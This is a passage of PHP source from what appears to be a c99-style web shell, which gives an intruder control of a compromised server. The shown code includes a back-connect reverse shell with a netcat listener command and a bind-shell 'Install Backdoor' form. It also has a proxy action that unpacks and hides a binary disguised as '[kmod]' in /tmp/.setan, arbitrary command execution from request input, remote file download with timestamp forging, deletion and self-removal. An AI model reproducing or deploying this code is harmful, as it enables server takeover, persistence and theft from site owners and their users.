  1693. if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1694. elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1695. else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1696. }
  1697. else {$act = $dspact = "ls";}
  1698. }
  1699. if ($act == "encoder")
  1700. {
  1701. echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><b>Encoder:</b></br></br><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><br><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br><b>Hashes</b>:</br></br>";
  1702. foreach(array("md5","crypt","sha1","crc32") as $v)
  1703. {
  1704. echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1705. }
  1706. echo "</br><b>Url:</b><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1707. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1708. </br></br><b>Base64:</b></br> base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>";
  1709. echo "</br>base64_decode - ";
  1710. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1711. else
  1712. {
  1713. $debase64 = base64_decode($encoder_input);
  1714. $debase64 = str_replace("\0","[0]",$debase64);
  1715. $a = explode("\r\n",$debase64);
  1716. $rows = count($a);
  1717. $debase64 = htmlspecialchars($debase64);
  1718. if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1719. else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1720. echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b></b></a>";
  1721. }
  1722. echo "</br></br><b>Base convertations</b>:</br></br>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1723. $c = strlen($encoder_input);
  1724. for($i=0;$i<$c;$i++)
  1725. {
  1726. $hex = dechex(ord($encoder_input[$i]));
  1727. if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1728. elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1729. }
  1730. echo "\" readonly><br></form>";
  1731. }
  1732. if ($act == "backc")
  1733. {
  1734. $ip = $_SERVER["REMOTE_ADDR"];
  1735. $msg = $_POST['backcconnmsg'];
  1736. $emsg = $_POST['backcconnmsge'];
  1737. echo("<b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br>");
  1738. echo("$msg");
  1739. echo("$emsg");
  1740. }
  1741.  
  1742. if ($act == "shbd"){
  1743. $msg = $_POST['backcconnmsg'];
  1744. $emsg = $_POST['backcconnmsge'];
  1745. echo("<b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
  1746. Bind Port: <input type='text' name='backconnectport' value='5992'>
  1747. <input type='hidden' name='use' value='shbd'>
  1748. <input type='submit' value='Install Backdoor'></form>");
  1749. echo("$msg");
  1750. echo("$emsg");
  1751. }
  1752.  
  1753.  
  1754. if ($act == "proxy") {
  1755. cf("/tmp/hantu.tgz",$proxy_shit);
  1756. ex("cd /tmp;tar -zxvf hantu.tgz");
  1757. ex("cd /tmp;cd .setan;chmod 777 xh");
  1758. ex("cd /tmp;cd .setan;chmod 777 httpd");
  1759. ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
  1760. checkproxyhost();
  1761. $msg = $_POST['proxyhostmsg'];
  1762. echo("$msg");
  1763. unlink("/tmp/hantu.tgz");
  1764. ex("cd /tmp; rm -r .setan");
  1765. }
  1766.  
  1767. if ($act == "selfremove")
  1768. {
  1769. if (($submit == $rndcode) and ($submit != ""))
  1770. {
  1771. if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
  1772. else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1773. }
  1774. else
  1775. {
  1776. if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1777. $rnd = rand(0,9).rand(0,9).rand(0,9);
  1778. echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." </br></br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1779. }
  1780. }
  1781. if ($act == "search"){
  1782. echo "<b>Search file-system:</b></br></br>";
  1783. if (empty($search_in)) {$search_in = $d;}
  1784. if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1785. if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1786. if (!empty($submit))
  1787. {
  1788. $found = array();
  1789. $found_d = 0;
  1790. $found_f = 0;
  1791. $search_i_f = 0;
  1792. $search_i_d = 0;
  1793. $a = array
  1794. (
  1795. "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1796. "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1797. "text_wwo"=>$search_text_wwo,
  1798. "text_cs"=>$search_text_cs,
  1799. "text_not"=>$search_text_not
  1800. );
  1801. $searchtime = getmicrotime();
  1802. $in = array_unique(explode(";",$search_in));
  1803. foreach($in as $v) {c99fsearch($v);}
  1804. $searchtime = round(getmicrotime()-$searchtime,4);
  1805. if (count($found) == 0) {echo "<b>No files found!</b>";}
  1806. else
  1807. {
  1808. $ls_arr = $found;
  1809. $disp_fullpath = TRUE;
  1810. $act = "ls";
  1811. }
  1812. }
  1813. echo "<form method=POST>
  1814. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1815. <b>File/folder name: </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1816. <br><b>Directory:&nbsp;&nbsp; </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1817. <br><b>Text:</b>&nbsp;&nbsp;<input type=text name=\"search_text\" size=42 value=".htmlspecialchars($search_text).">
  1818.  
  1819. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  1820. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1821. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1822. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1823. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1824. if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1825. }
  1826. if ($act == "chmod")
  1827. {
  1828. $mode = fileperms($d.$f);
  1829. if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1830. else
  1831. {
  1832. $form = TRUE;
  1833. if ($chmod_submit)
  1834. {
  1835. $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1836. if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  1837. else {$err = "Can't chmod to ".$octet.".";}
  1838. }
  1839. if ($form)
  1840. {
  1841. $perms = parse_perms($mode);
  1842. echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1843. }
  1844. }
  1845. }
  1846. if ($act == "upload")
  1847. {
  1848. $uploadmess = "";
  1849. $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1850. if (empty($uploadpath)) {$uploadpath = $d;}
  1851. elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  1852. if (!empty($submit))
  1853. {
  1854. global $HTTP_POST_FILES;
  1855. $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1856. if (!empty($uploadfile["tmp_name"]))
  1857. {
  1858. if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1859. else {$destin = $userfilename;}
  1860. if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".</br></br>";}
  1861. }
  1862. elseif (!empty($uploadurl))
  1863. {
  1864. if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1865. else
  1866. {
  1867. $destin = explode("/",$destin);
  1868. $destin = $destin[count($destin)-1];
  1869. if (empty($destin))
  1870. {
  1871. $i = 0;
  1872. $b = "";
  1873. while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1874. }
  1875. if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1876. else
  1877. {
  1878. $st = getmicrotime();
  1879. $content = @file_get_contents($uploadurl);
  1880. $dt = round(getmicrotime()-$st,4);
  1881. if (!$content) {$uploadmess .= "Can't download file!<br>";}
  1882. else
  1883. {
  1884. if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1885. $fp = fopen($uploadpath.$destin,"w");
  1886. if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1887. else
  1888. {
  1889. fwrite($fp,$content,strlen($content));
  1890. fclose($fp);
  1891. if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1892. }
  1893. }
  1894. }
  1895. }
  1896. }
  1897. if ($miniform)
  1898. {
  1899. echo "<b>".$uploadmess."</b>";
  1900. $act = "ls";
  1901. }
  1902. else
  1903. {
  1904. echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  1905. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1906. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1907. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1908. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1909. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1910. <input type=submit name=submit value=\"Upload\">
  1911. </form>";
  1912. }
  1913. }
  1914. if ($act == "delete")
  1915. {
  1916. $delerr = "";
  1917. foreach ($actbox as $v)
  1918. {
  1919. $result = FALSE;
  1920. $result = fs_rmobj($v);
  1921. if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1922. }
  1923. if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1924. $act = "ls";
  1925. }
  1926. if (!$usefsbuff)
  1927. {
  1928. if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1929. }
  1930. else
  1931. {
  1932. if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1933. elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1934. elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1935. if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1936. elseif ($actpastebuff)
  1937. {
  1938. $psterr = "";
  1939. foreach($sess_data["copy"] as $k=>$v)
  1940. {
  1941. $to = $d.basename($v);
  1942. if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1943. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1944. }
  1945. foreach($sess_data["cut"] as $k=>$v)
  1946. {
  1947. $to = $d.basename($v);
  1948. if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1949. unset($sess_data["cut"][$k]);
  1950. }
  1951. c99_sess_put($sess_data);
  1952. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1953. $act = "ls";
  1954. }
  1955. elseif ($actarcbuff)
  1956. {
  1957. $arcerr = "";
  1958. if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1959. else {$ext = ".tar.gz";}
  1960. if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1961. $cmdline .= " ".$actarcbuff_path;
  1962. $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1963. foreach($objects as $v)
  1964. {
  1965. $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1966. if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1967. if (is_dir($v))
  1968. {
  1969. if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1970. $v .= "*";
  1971. }
  1972. $cmdline .= " ".$v;
  1973. }
  1974. $tmp = realpath(".");
  1975. chdir($d);
  1976. $ret = myshellexec($cmdline);
  1977. chdir($tmp);
  1978. if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1979. $ret = str_replace("\r\n","\n",$ret);
  1980. $ret = explode("\n",$ret);
  1981. if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1982. foreach($sess_data["cut"] as $k=>$v)
  1983. {
  1984. if (in_array($v,$ret)) {fs_rmobj($v);}
  1985. unset($sess_data["cut"][$k]);
  1986. }
  1987. c99_sess_put($sess_data);
  1988. if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1989. $act = "ls";
  1990. }
  1991. elseif ($actpastebuff)
  1992. {
  1993. $psterr = "";
  1994. foreach($sess_data["copy"] as $k=>$v)
  1995. {
  1996. $to = $d.basename($v);
  1997. if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1998. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1999. }
  2000. foreach($sess_data["cut"] as $k=>$v)
  2001. {
  2002. $to = $d.basename($v);
  2003. if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  2004. unset($sess_data["cut"][$k]);
  2005. }
  2006. c99_sess_put($sess_data);
  2007. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  2008. $act = "ls";
  2009. }
  2010. }
  2011. if ($act == "cmd")
  2012. {
  2013. if (trim($cmd) == "ps aux") {$act = "processes";}
  2014. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  2015. else
  2016. {
  2017. @chdir($chdir);
  2018. if (!empty($submit))
  2019. {
  2020. $execcmd = $_REQUEST['cmd'];
  2021. echo "Result Of Locally Executed Command: <b>$execcmd</b></br>";
  2022. $olddir = realpath(".");
  2023. @chdir($d);
  2024. $ret = myshellexec($cmd);
  2025. $ret = convert_cyr_string($ret,"d","w");
  2026. if ($cmd_txt)
  2027. {
  2028. $rows = count(explode("\r\n",$ret))+1;
  2029. if ($rows < 10) {$rows = 10;}
  2030. echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2031. }
  2032. else {echo $ret."<br>";}
  2033. @chdir($olddir);
  2034. }
  2035. else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  2036. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  2037. }
  2038. }
  2039. if ($act == "ls")
  2040. {
  2041. if (count($ls_arr) > 0) {$list = $ls_arr;}
  2042. else
  2043. {
  2044. $list = array();
  2045. if ($h = @opendir($d))
  2046. {
  2047. while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  2048. closedir($h);
  2049. }
  2050. else {}
  2051. }
  2052. if (count($list) == 0) {echo "<center><b>Can't open folder ".htmlspecialchars($d)."</b></center>";}
  2053. else
  2054. {
  2055. //Building array
  2056. $objects = array();
  2057. $vd = "f"; //Viewing mode
  2058. if ($vd == "f")
  2059. {
  2060. $objects["head"] = array();
  2061. $objects["folders"] = array();
  2062. $objects["links"] = array();
  2063. $objects["files"] = array();
  2064. foreach ($list as $v)
  2065. {
  2066. $o = basename($v);
  2067. $row = array();
  2068. if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  2069. elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  2070. elseif (is_dir($v))
  2071. {
  2072. if (is_link($v)) {$type = "LINK";}
  2073. else {$type = "DIR";}
  2074. $row[] = $v;
  2075. $row[] = $type;
  2076. }
  2077. elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  2078. $row[] = filemtime($v);
  2079. if (!$win)
  2080. {
  2081. $ow = posix_getpwuid(fileowner($v));
  2082. $gr = posix_getgrgid(filegroup($v));
  2083. $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  2084. }
  2085. $row[] = fileperms($v);
  2086. if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  2087. elseif (is_link($v)) {$objects["links"][] = $row;}
  2088. elseif (is_dir($v)) {$objects["folders"][] = $row;}
  2089. elseif (is_file($v)) {$objects["files"][] = $row;}
  2090. $i++;
  2091. }
  2092. $row = array();
  2093. $row[] = "<b>Name</b>";
  2094. $row[] = "<b>Size</b>";
  2095. $row[] = "<b>Modify</b>";
  2096. if (!$win)
  2097. {$row[] = "<b>Owner/Group</b>";}
  2098. $row[] = "<b>Perms</b>";
  2099. $row[] = "<b>Action</b>";
  2100. $parsesort = parsesort($sort);
  2101. $sort = $parsesort[0].$parsesort[1];
  2102. $k = $parsesort[0];
  2103. if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  2104. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  2105. $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>";
  2106. $row[$k] .= $y;
  2107. for($i=0;$i<count($row)-1;$i++)
  2108. {
  2109. if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  2110. }
  2111. $v = $parsesort[0];
  2112. usort($objects["folders"], "tabsort");
  2113. usort($objects["links"], "tabsort");
  2114. usort($objects["files"], "tabsort");
  2115. if ($parsesort[1] == "d")
  2116. {
  2117. $objects["folders"] = array_reverse($objects["folders"]);
  2118. $objects["files"] = array_reverse($objects["files"]);
  2119. }
  2120. $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  2121. $tab = array();
  2122. $tab["cols"] = array($row);
  2123. $tab["head"] = array();
  2124. $tab["folders"] = array();
  2125. $tab["links"] = array();
  2126. $tab["files"] = array();
  2127. $i = 0;
  2128. foreach ($objects as $a)
  2129. {
  2130. $v = $a[0];
  2131. $o = basename($v);
  2132. $dir = dirname($v);
  2133. if ($disp_fullpath) {$disppath = $v;}
  2134. else {$disppath = $o;}
  2135. $disppath = str2mini($disppath,60);
  2136. if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2137. elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2138. foreach ($regxp_highlight as $r)
  2139. {
  2140. if (ereg($r[0],$o))
  2141. {
  2142. if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2143. else
  2144. {
  2145. $r[1] = round($r[1]);
  2146. $isdir = is_dir($v);
  2147. if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2148. {
  2149. if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2150. $disppath = $r[2].$disppath.$r[3];
  2151. if ($r[4]) {break;}
  2152. }
  2153. }
  2154. }
  2155. }
  2156. $uo = urlencode($o);
  2157. $ud = urlencode($dir);
  2158. $uv = urlencode($v);
  2159. $row = array();
  2160. if ($o == ".")
  2161. {
  2162. $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2163. $row[] = "LINK";
  2164. }
  2165. elseif ($o == "..")
  2166. {
  2167. $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2168. $row[] = "LINK";
  2169. }
  2170. elseif (is_dir($v))
  2171. {
  2172. if (is_link($v))
  2173. {
  2174. $disppath .= " => ".readlink($v);
  2175. $type = "LINK";
  2176. $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2177. }
  2178. else
  2179. {
  2180. $type = "DIR";
  2181. $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2182. }
  2183. $row[] = $type;
  2184. }
  2185. elseif(is_file($v))
  2186. {
  2187. $ext = explode(".",$o);
  2188. $c = count($ext)-1;
  2189. $ext = $ext[$c];
  2190. $ext = strtolower($ext);
  2191. $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2192. $row[] = view_size($a[1]);
  2193. }
  2194. $row[] = date("d.m.Y H:i:s",$a[2]);
  2195. if (!$win) {$row[] = $a[3];}
  2196. $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2197. if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2198. else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2199. if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;}
  2200. else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;}
  2201. if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2202. elseif (is_link($v)) {$tab["links"][] = $row;}
  2203. elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2204. elseif (is_file($v)) {$tab["files"][] = $row;}
  2205. $i++;
  2206. }
  2207. }
  2208. // Compiling table
  2209. $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2210. echo "<center><b><u>Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders</u></b></center><br>
  2211. <TABLE width=100% id=bordered>
  2212. <form action=\"".$surl."\" method=POST name=\"ls_form\">
  2213. <input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  2214. foreach($table as $row)
  2215. {
  2216. echo "<tr>\r\n";
  2217. foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2218. echo "</tr>\r\n";
  2219. }
  2220. echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2221. <script>
  2222. function ls_setcheckboxall(status)
  2223. {
  2224. var id = 1;
  2225. var num = ".(count($table)-2).";
  2226. while (id <= num)
  2227. {
  2228. document.getElementById('actbox'+id).checked = status;
  2229. id++;
  2230. }
  2231. }
  2232. function ls_reverse_all()
  2233. {
  2234. var id = 1;
  2235. var num = ".(count($table)-2).";
  2236. while (id <= num)
  2237. {
  2238. document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2239. id++;
  2240. }
  2241. }
  2242. </script>
  2243. <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2244. <b>";
  2245. if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2246. {
  2247. echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2248. }
  2249. echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2250. echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2251. echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2252. if ($usefsbuff)
  2253. {
  2254. echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2255. echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2256. echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2257. }
  2258. echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2259. echo "</form>";
  2260. }
  2261. }
  2262.  
  2263. if ($act == "processes")
  2264. {
